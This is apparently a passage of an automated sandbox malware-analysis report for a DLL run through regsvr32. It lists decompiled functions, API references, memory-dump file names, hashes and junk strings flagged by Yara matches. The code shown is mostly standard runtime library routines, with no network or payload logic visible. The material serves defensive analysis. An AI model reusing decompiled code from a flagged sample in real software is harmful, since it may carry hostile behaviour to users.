					_t34 =  *(E10017D62(_t39));
					 *(E10017D62(_t39)) =  *_t14 & 0x00000000;
					_t35 = 0x112;
					_t27 = E10016E0C( &_v284, 0x112, 0x111, 0x112,  &_v288);
					_t18 = E10017D62(_t39);
					_t40 =  *_t18;
					if( *_t18 == 0) {
						 *(E10017D62(__eflags)) = _t34;
					} else {
						E10009DD1( *((intOrPtr*)(E10017D62(_t40))));
					}
					if(_t27 == 0xffffffff || _t27 >= _t35) {
						_t12 = 0;
						__eflags = 0;
					} else {
						_t12 = LoadLibraryA( &_v284);
					}
					_pop(_t33);
					_pop(_t26);
				}
				return E100167D5(_t12, _t26, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000a803
0x1000a803
0x1000a803
0x1000a803
0x1000a80c
0x1000a813
0x1000a816
0x1000a81e
0x1000a826
0x1000a89a
0x1000a89c
0x00000000
0x00000000
0x1000a89e
0x1000a828
0x1000a835
0x1000a836
0x1000a83b
0x1000a83e
0x1000a83e
0x1000a83f
0x1000a845
0x1000a84c
0x1000a85c
0x1000a871
0x1000a873
0x1000a878
0x1000a87b
0x1000a8a5
0x1000a87d
0x1000a884
0x1000a889
0x1000a8aa
0x1000a8bf
0x1000a8bf
0x1000a8b0
0x1000a8b7
0x1000a8b7
0x1000a8c1
0x1000a8c2
0x1000a8c2
0x1000a8cf

APIs

_strcpy_s.LIBCMT ref: 1000A830

Part of subcall function 10009BC7: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 10009BC7: __EH_prolog3.LIBCMT ref: 1000A0FC

Part of subcall function 10017D62: __getptd_noexit.LIBCMT ref: 10017D62

__snprintf_s.LIBCMT ref: 1000A869

Part of subcall function 10016E0C: __vsnprintf_s_l.LIBCMT ref: 10016E21

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 1000A894
LoadLibraryA.KERNEL32(?), ref: 1000A8B7

Strings

LOC, xrefs: 1000A828

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Exception@8H_prolog3InfoLibraryLoadLocaleThrow__getptd_noexit__snprintf_s__vsnprintf_s_l_strcpy_s
String ID: LOC
API String ID: 4018564869-519433814
Opcode ID: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction ID: ee9450464cbd3e0ce3331b4d2b41357aa0e69ec1529eb2fe66138b72776ed960
Opcode Fuzzy Hash: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction Fuzzy Hash: A9119A7190411CABF725D760DC86BDD37B8EF06790F504161F6049B191DF74AEC68BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04234A66, Relevance: 7.8, Strings: 6, Instructions: 269COMMON

Download Yara Rule

Strings

7, xrefs: 04234DB0
*d>, xrefs: 04234C65
6&Y, xrefs: 04234B40
&6!, xrefs: 04234AC1
*-, xrefs: 04234CA7
]MH[, xrefs: 04234BF6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *-$&6!$*d>$6&Y$7$]MH[
API String ID: 0-1885758756
Opcode ID: 278aa88463c0846453b927a856e0003f09da7f4759bb1dc539d61d5421326f6d
Instruction ID: 6f2d78398bcf3fa04d222a1c99ea209b500a7256b0983cd9183a64dd0139f128
Opcode Fuzzy Hash: 278aa88463c0846453b927a856e0003f09da7f4759bb1dc539d61d5421326f6d
Instruction Fuzzy Hash: 99D141B16183819FD358CF65C58981BFBF1FBC4758F208A1DF2968A260D3B59989CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0423CCD9, Relevance: 7.7, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

Cn, xrefs: 0423CE5C
$P, xrefs: 0423CD0F, 0423D023
#], xrefs: 0423CDF2
R{L, xrefs: 0423CE84
dk, xrefs: 0423CF12
Hc:, xrefs: 0423CE02

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #]$$P$Cn$Hc:$R{L$dk
API String ID: 0-1551317889
Opcode ID: 5e2fab66f11b2f9e50806417d9f3354a7b8d220f1b0cb7a5b63951bfdf73f0b5
Instruction ID: 72deebd69230eb2260177ab847cca51843abae087d3af32c616ffb264fe035cc
Opcode Fuzzy Hash: 5e2fab66f11b2f9e50806417d9f3354a7b8d220f1b0cb7a5b63951bfdf73f0b5
Instruction Fuzzy Hash: 43B12FB2A183419FD358CF26C54941BBBF2FBC4748F008A2DF59996260D3B5DA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 04238806, Relevance: 7.7, Strings: 6, Instructions: 201COMMON

Download Yara Rule

Strings

Eh}, xrefs: 042388FA
d%, xrefs: 0423898B
$P, xrefs: 0423880E
\:, xrefs: 04238937
i*, xrefs: 042388CE
>_), xrefs: 04238912

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$>_)$Eh}$\:$d%$i*
API String ID: 0-2969320698
Opcode ID: aeffe686daea30544195ed0138f6e4945c8625af026a6e1ad50bc3102dfd4890
Instruction ID: 41e971593d49a813cfde258be5a509c9b92d2b01b0e277cb1bc3a15d21e05dea
Opcode Fuzzy Hash: aeffe686daea30544195ed0138f6e4945c8625af026a6e1ad50bc3102dfd4890
Instruction Fuzzy Hash: 709144B16183029FD758DE61D585A2BBBF1EFC4708F00891DF5969A260D3B5EA09CF83

Uniqueness

Uniqueness Score: -1.00%

Function 0422BFBE, Relevance: 7.6, Strings: 6, Instructions: 149COMMON

Download Yara Rule

Strings

/c, xrefs: 0422C11A
Te;, xrefs: 0422C122
ODg, xrefs: 0422C0C1
j-N, xrefs: 0422C054
3$, xrefs: 0422C05C
jA, xrefs: 0422C15A

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /c$3$$ODg$Te;$j-N$jA
API String ID: 0-1439100758
Opcode ID: 6beecac5511420f763a8f2b06641e78c47f08b7496e3c8d03a53748897a012dd
Instruction ID: c268438df07d033f67b4e51e8598f318de5990628d41639e2728cf314330ba45
Opcode Fuzzy Hash: 6beecac5511420f763a8f2b06641e78c47f08b7496e3c8d03a53748897a012dd
Instruction Fuzzy Hash: 71614571128340AFC358CFA5D98A81FBBF1FBC5318F405A1DF6D696260C3B59A09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 100167D5, Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E100167D5(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x10057a08; // 0xce1c5b24
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x1005afc0 = _t6;
				 *0x1005afbc = _t22;
				 *0x1005afb8 = _t25;
				 *0x1005afb4 = _t21;
				 *0x1005afb0 = _t27;
				 *0x1005afac = _t26;
				 *0x1005afd8 = ss;
				 *0x1005afcc = cs;
				 *0x1005afa8 = ds;
				 *0x1005afa4 = es;
				 *0x1005afa0 = fs;
				 *0x1005af9c = gs;
				asm("pushfd");
				_pop( *0x1005afd0);
				 *0x1005afc4 =  *_t31;
				 *0x1005afc8 = _v0;
				 *0x1005afd4 =  &_a4;
				 *0x1005af10 = 0x10001;
				_t11 =  *0x1005afc8; // 0x0
				 *0x1005aec4 = _t11;
				 *0x1005aeb8 = 0xc0000409;
				 *0x1005aebc = 1;
				_t12 =  *0x10057a08; // 0xce1c5b24
				_v812 = _t12;
				_t13 =  *0x10057a0c; // 0x31e3a4db
				_v808 = _t13;
				 *0x1005af08 = IsDebuggerPresent();
				_push(1);
				E100227FB(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x1002b434);
				if( *0x1005af08 == 0) {
					_push(1);
					E100227FB(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167db
0x100167dd
0x100167dd
0x1001c395
0x1001c39a
0x1001c3a0
0x1001c3a6
0x1001c3ac
0x1001c3b2
0x1001c3b8
0x1001c3bf
0x1001c3c6
0x1001c3cd
0x1001c3d4
0x1001c3db
0x1001c3e2
0x1001c3e3
0x1001c3ec
0x1001c3f4
0x1001c3fc
0x1001c407
0x1001c411
0x1001c416
0x1001c41b
0x1001c425
0x1001c42f
0x1001c434
0x1001c43a
0x1001c43f
0x1001c44b
0x1001c450
0x1001c452
0x1001c45a
0x1001c465
0x1001c472
0x1001c474
0x1001c476
0x1001c47b
0x1001c48f

APIs

IsDebuggerPresent.KERNEL32 ref: 1001C445
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001C45A
UnhandledExceptionFilter.KERNEL32(1002B434), ref: 1001C465
GetCurrentProcess.KERNEL32(C0000409), ref: 1001C481
TerminateProcess.KERNEL32(00000000), ref: 1001C488

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction ID: 29b7c1aed7e77d05a339182a33a9266dca5d513d51f4b37265af4c9016ee4a47
Opcode Fuzzy Hash: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction Fuzzy Hash: 0021B0B4408328DFE701DFA9EDC96487BB0FB0A315F50406AE508873A1E7B459C2CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04232142, Relevance: 6.6, Strings: 5, Instructions: 329COMMON

Download Yara Rule

Strings

f, xrefs: 04232160
)^^, xrefs: 0423221B
b, xrefs: 042323AA
:*, xrefs: 042323D3
J;, xrefs: 042322DF

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )^^$:*$J;$b$f
API String ID: 0-204930537
Opcode ID: 4c35aef89e7c31455f2f43ef60ae0726b6f9eb6525fbdc5aab02ccf0b1eacddc
Instruction ID: a5d1e2dfa25fca7c8c29920d21218aa2753c2878c8e1309753d5fb1affa335d9
Opcode Fuzzy Hash: 4c35aef89e7c31455f2f43ef60ae0726b6f9eb6525fbdc5aab02ccf0b1eacddc
Instruction Fuzzy Hash: F2F12FB16083819FD368CF25D58AA0BFBF1FBC4718F10891DF1998A260DBB59949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 04242009, Relevance: 6.5, Strings: 5, Instructions: 275COMMON

Download Yara Rule

Strings

XGH, xrefs: 04242390
-9, xrefs: 042423B6
Hz, xrefs: 042423E9
j8, xrefs: 0424224C
qUO, xrefs: 042420DE

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j8$qUO$-9$Hz$XGH
API String ID: 0-60989354
Opcode ID: 3dbd500c7cab37aca1efa401bf1b478f465cbfab14d1be1557ffee42ffbe3827
Instruction ID: 970c2b0c3fefc1138ca18bebd3c3ecb80849cc2ceaf16b80c585d83dc2f62141
Opcode Fuzzy Hash: 3dbd500c7cab37aca1efa401bf1b478f465cbfab14d1be1557ffee42ffbe3827
Instruction Fuzzy Hash: 02E131B15087819FC3A8CF25C989A4BBBF1FBC4758F508A1CF5E986260D7B49948CF42

Uniqueness

Uniqueness Score: -1.00%

Function 04243EE9, Relevance: 6.5, Strings: 5, Instructions: 273COMMON

Download Yara Rule

Strings

z}, xrefs: 0424422A
q(, xrefs: 042440E2
y%, xrefs: 04244129
r', xrefs: 0424433A
ldM', xrefs: 042441E6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ldM'$q($r'$y%$z}
API String ID: 0-1771948706
Opcode ID: f43ab6bc4e285cbd150ec1d247a8681a6f9bd44ad3c38ba88c18aeb0824ee499
Instruction ID: 2b2c7ee43538a5698f8dbc403fc02ce511f37f2e99718569c79c1dff7f2056f8
Opcode Fuzzy Hash: f43ab6bc4e285cbd150ec1d247a8681a6f9bd44ad3c38ba88c18aeb0824ee499
Instruction Fuzzy Hash: A6D150712183819FD368DF25C48965BBBF2FBD5358F148A0DF2A696220D3B5D909CF82

Uniqueness

Uniqueness Score: -1.00%

Function 04238D3D, Relevance: 6.4, Strings: 5, Instructions: 143COMMON

Download Yara Rule

Strings

^M, xrefs: 04238EC5
7S, xrefs: 04238E4A
_, xrefs: 04238EB5
#, xrefs: 04238E85
|Y+, xrefs: 04238D4F

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #$ _$7S$^M$|Y+
API String ID: 0-3744723356
Opcode ID: bba2f032e7e153ef2a9a6d542a3707323ce46e4fa1ce1d04d3a6122146a2c669
Instruction ID: abc3edea3f2ef0c463dc7802f8d5e7e42c895df190c8ee0b14c2d776bec7070e
Opcode Fuzzy Hash: bba2f032e7e153ef2a9a6d542a3707323ce46e4fa1ce1d04d3a6122146a2c669
Instruction Fuzzy Hash: 23516AB16083419FD348DF25D48950FBBE1FBC8768F008A1DF199A6260D7B9DA49CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 100126F9, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100126F9(void* __ecx, CHAR* _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t8;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t16;
				struct HINSTANCE__* _t17;
				void* _t18;

				_t14 = 0;
				_t11 = 0;
				_t19 = _a4;
				_t18 = __ecx;
				if(_a4 == 0) {
					L4:
					_t16 = E100122B0(_t11, _t18, _t11);
					if(_t11 != 0 && _t14 != 0) {
						FreeResource(_t14);
					}
					return _t16;
				}
				_t17 =  *(E1000D5EC(0, 0, _t15, _t19) + 0xc);
				_t8 = FindResourceA(_t17, _a4, 0xf0);
				if(_t8 == 0) {
					goto L4;
				}
				_t9 = LoadResource(_t17, _t8);
				_t14 = _t9;
				if(_t14 != 0) {
					_t11 = LockResource(_t14);
					goto L4;
				}
				return _t9;
			}

0x100126fd
0x100126ff
0x10012701
0x10012705
0x10012707
0x1001273c
0x10012746
0x10012748
0x1001274f
0x1001274f
0x00000000
0x10012755
0x1001270e
0x1001271b
0x10012723
0x00000000
0x00000000
0x10012727
0x1001272d
0x10012731
0x1001273a
0x00000000
0x1001273a
0x1001275b

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 1001271B
LoadResource.KERNEL32(?,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012727
LockResource.KERNEL32(00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012734
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 1001274F

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction ID: 32ecfa8a0ceb179aec2dc768c20ccd4f8790d9104fa4174b83ef058a4c527ff5
Opcode Fuzzy Hash: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction Fuzzy Hash: 54F090762042226FA3019B675C88A3BB7ECEFC55E2B110039FE04D6291EE35CC629771

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF59, Relevance: 6.0, APIs: 4, Instructions: 41
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FF59(void* __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t5;
				void* _t15;
				void* _t18;
				void* _t19;

				_t15 = __ecx;
				if((E10012862(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E1000FAB8(_t15, _t15, _t18, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t19 = E1000A7CE();
				if(_t19 == 0) {
					goto L6;
				}
				_t18 = GetKeyState;
				if(GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t19 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x1000ff5c
0x1000ff68
0x1000ffb0
0x1000ffb2
0x1000ffb9
0x00000000
0x1000ffbb
0x1000ff6f
0x1000ff73
0x00000000
0x00000000
0x1000ff75
0x1000ff82
0x00000000
0x1000ff96
0x1000ffa5
0x00000000
0x1000ffad

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetKeyState.USER32(00000010), ref: 1000FF7D
GetKeyState.USER32(00000011), ref: 1000FF86
GetKeyState.USER32(00000012), ref: 1000FF8F
SendMessageA.USER32 ref: 1000FFA5

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction ID: de176050283294f5fba88da379e0eecc3ccd74c62a8982f524273e82d2dc9d2d
Opcode Fuzzy Hash: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction Fuzzy Hash: 3BF0827B38025B26FA20B2748C41FBA9154CF86BD0F120538FA42EA5DECF91D8022271

Uniqueness

Uniqueness Score: -1.00%

Function 042400EF, Relevance: 5.3, Strings: 4, Instructions: 274COMMON

Download Yara Rule

Strings

_!1, xrefs: 0424026E
$P, xrefs: 04240101
XW, xrefs: 04240475
+XJ, xrefs: 04240250

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$+XJ$XW$_!1
API String ID: 0-3524045022
Opcode ID: ec67396f3bdb96735747240ce0d9c2b3acf32ff4ddd673025de6a411dc1d40aa
Instruction ID: af871f25337189b0027a1c178d6ff21c760e6c483869ab2b3d162e6a6d3c512d
Opcode Fuzzy Hash: ec67396f3bdb96735747240ce0d9c2b3acf32ff4ddd673025de6a411dc1d40aa
Instruction Fuzzy Hash: E9D112716083809FD368CF21C54AA5BFBF2FBC4748F108A1DF29996260D7B19948CF42

Uniqueness

Uniqueness Score: -1.00%

Function 042280C0, Relevance: 5.3, Strings: 4, Instructions: 261COMMON

Download Yara Rule

Strings

K:, xrefs: 04228134
"M|X, xrefs: 0422828D
{lN, xrefs: 04228304
#', xrefs: 04228192

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "M|X$#'$K:${lN
API String ID: 0-1886388755
Opcode ID: be81a8b4be20ebafca4312b8ee944c23634513615abf868acb3ec03bd70e1c5a
Instruction ID: e445e71debfde21703887e437a801df6cd60eea09fd48b738751afdcaf6b97e3
Opcode Fuzzy Hash: be81a8b4be20ebafca4312b8ee944c23634513615abf868acb3ec03bd70e1c5a
Instruction Fuzzy Hash: 78C152726083809FC358DF26C58A90BFBE1FBD4798F108A1DF99596260D7B0E949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 04242D53, Relevance: 5.2, Strings: 4, Instructions: 221COMMON

Download Yara Rule

Strings

sH, xrefs: 04242F41
$P, xrefs: 04242DC3, 042430B9
+;, xrefs: 04242F83
zbv, xrefs: 04242E19

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$sH$zbv$+;
API String ID: 0-3806253346
Opcode ID: a6aca8e2dab9c8814c7b882fcbba5ca839e3c6df21710d7f534499218c099d4a
Instruction ID: 6258f4e1fa5ea7b03fdecf5da92fe5f61047e57bccd467c5b8c10c693f70d3b2
Opcode Fuzzy Hash: a6aca8e2dab9c8814c7b882fcbba5ca839e3c6df21710d7f534499218c099d4a
Instruction Fuzzy Hash: 4DB10EB2618381AFD358CF61C58A41BFBE1FBC0758F509A1DF59686260E3B1D949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 0423E4E5, Relevance: 5.2, Strings: 4, Instructions: 220COMMON

Download Yara Rule

Strings

$P, xrefs: 0423E623
ma+, xrefs: 0423E57D
-, xrefs: 0423E5D4
ap@', xrefs: 0423E5A3

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$ap@'$-$ma+
API String ID: 0-1845766705
Opcode ID: 02eb532d0140856a7ee7d1aaacec4c1a961573770c3c15a51ec66f2266eee3c0
Instruction ID: 81a627f71f6fc8a44cc7aa1953a8239951b4352c1f5d8596e37170e77ad9702d
Opcode Fuzzy Hash: 02eb532d0140856a7ee7d1aaacec4c1a961573770c3c15a51ec66f2266eee3c0
Instruction Fuzzy Hash: FB917AB17283428BC728CE15C99896EBBF1FBD4309F05491EE696562A0D770AA4DCF43

Uniqueness

Uniqueness Score: -1.00%

Function 04233EAA, Relevance: 5.2, Strings: 4, Instructions: 152COMMON

Download Yara Rule

Strings

4r~, xrefs: 04233FCF
Zr, xrefs: 0423412E
n<, xrefs: 04233F14
p3, xrefs: 04233F32

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4r~$Zr$n<$p3
API String ID: 0-1989199487
Opcode ID: 9c14014ca497ea253b6b14b19677e07633968f0fa0b54784dcf0298cd53d7ee1
Instruction ID: 9435ab37e7c3bf96b223347332b92dad11205c17b4da1baff62fabe0ad2f34e0
Opcode Fuzzy Hash: 9c14014ca497ea253b6b14b19677e07633968f0fa0b54784dcf0298cd53d7ee1
Instruction Fuzzy Hash: F46155B16183019FC358DF26C48942BBBF1FBD8758F004A6DF69AA6220D3B4DA45CF46

Uniqueness

Uniqueness Score: -1.00%

Function 04239A01, Relevance: 5.1, Strings: 4, Instructions: 140COMMON

Download Yara Rule

Strings

<o, xrefs: 04239A4B
l@, xrefs: 04239A34
<f~, xrefs: 04239AC8
}0, xrefs: 04239A6C

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <f~$<o$l@$}0
API String ID: 0-758050912
Opcode ID: a88e851ab57ef78847bff64fb8c1f55eef959e1c550f3874bab6ec62e881582c
